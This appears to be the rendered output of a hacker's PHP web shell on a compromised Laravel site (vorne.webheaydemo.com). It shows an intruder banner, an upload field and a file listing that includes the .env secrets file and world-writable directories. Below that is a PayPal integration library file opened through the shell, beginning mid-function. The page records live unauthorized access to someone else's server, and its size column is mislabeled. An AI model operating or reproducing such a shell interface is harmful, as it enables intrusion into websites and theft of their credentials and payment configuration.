I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
throwConfigurationException();
}
// Setting Default PayPal Mode If not set
$this->setApiEnvironment($credentials);
// Set API configuration for the PayPal provider
$this->setApiProviderConfiguration($credentials);
// Set default currency.
$this->setCurrency($credentials['currency']);
// Set Http Client configuration.
$this->setHttpClientConfiguration();
}
/**
* Function to set currency.
*
* @param string $currency
*
* @throws \RuntimeException
*
* @return \Srmklive\PayPal\Services\PayPal
*/
public function setCurrency(string $currency = 'USD'): \Srmklive\PayPal\Services\PayPal
{
$allowedCurrencies = ['AUD', 'BRL', 'CAD', 'CZK', 'DKK', 'EUR', 'HKD', 'HUF', 'ILS', 'INR', 'JPY', 'MYR', 'MXN', 'NOK', 'NZD', 'PHP', 'PLN', 'GBP', 'SGD', 'SEK', 'CHF', 'TWD', 'THB', 'USD', 'RUB', 'CNY'];
// Check if provided currency is valid.
if (!in_array($currency, $allowedCurrencies, true)) {
throw new RuntimeException('Currency is not supported by PayPal.');
}
$this->currency = $currency;
return $this;
}
/**
* Return the set currency.
*/
public function getCurrency(): string
{
return $this->currency;
}
/**
* Function to add request header.
*
* @param string $key
* @param string $value
*
* @return \Srmklive\PayPal\Services\PayPal
*/
public function setRequestHeader(string $key, string $value): \Srmklive\PayPal\Services\PayPal
{
$this->options['headers'][$key] = $value;
return $this;
}
/**
* Function to add multiple request headers.
*
* @param array $headers
*
* @return \Srmklive\PayPal\Services\PayPal
*/
public function setRequestHeaders(array $headers): \Srmklive\PayPal\Services\PayPal
{
foreach ($headers as $key=>$value) {
$this->setRequestHeader($key, $value);
}
return $this;
}
/**
* Return request options header.
*
* @param string $key
*
* @throws \RuntimeException
*
* @return string
*/
public function getRequestHeader(string $key): string
{
if (isset($this->options['headers'][$key])) {
return $this->options['headers'][$key];
}
throw new RuntimeException('Options header is not set.');
}
/**
* Function To Set PayPal API Configuration.
*
* @param array $config
*
* @throws \Exception
*/
private function setConfig(array $config): void
{
$api_config = empty($config) && function_exists('config') && !empty(config('paypal')) ?
config('paypal') : $config;
// Set Api Credentials
$this->setApiCredentials($api_config);
}
/**
* Set API environment to be used by PayPal.
*
* @param array $credentials
*/
private function setApiEnvironment(array $credentials): void
{
$this->mode = 'live';
if (!empty($credentials['mode'])) {
$this->setValidApiEnvironment($credentials['mode']);
} else {
$this->throwConfigurationException();
}
}
/**
* Validate & set the environment to be used by PayPal.
*
* @param string $mode
*/
private function setValidApiEnvironment(string $mode): void
{
$this->mode = !in_array($mode, ['sandbox', 'live']) ? 'live' : $mode;
}
/**
* Set configuration details for the provider.
*
* @param array $credentials
*
* @throws \Exception
*/
private function setApiProviderConfiguration(array $credentials): void
{
// Setting PayPal API Credentials
if (empty($credentials[$this->mode])) {
$this->throwConfigurationException();
}
$config_params = ['client_id', 'client_secret'];
foreach ($config_params as $item) {
if (empty($credentials[$this->mode][$item])) {
throw new RuntimeException("{$item} missing from the provided configuration. Please add your application {$item}.");
}
}
collect($credentials[$this->mode])->map(function ($value, $key) {
$this->config[$key] = $value;
});
$this->paymentAction = $credentials['payment_action'];
$this->locale = $credentials['locale'];
$this->setRequestHeader('Accept-Language', $this->locale);
$this->validateSSL = $credentials['validate_ssl'];
$this->setOptions($credentials);
}
/**
* @throws RuntimeException
*/
private function throwConfigurationException()
{
throw new RuntimeException('Invalid configuration provided. Please provide valid configuration for PayPal API. You can also refer to the documentation at https://srmklive.github.io/laravel-paypal/docs.html to setup correct configuration.');
}
/**
* @throws RuntimeException
*/
private function throwInvalidEvidenceFileException()
{
throw new RuntimeException('Invalid evidence file type provided.
1. The party can upload up to 50 MB of files per request.
2. Individual files must be smaller than 10 MB.
3. The supported file formats are JPG, JPEG, GIF, PNG, and PDF.
');
}
}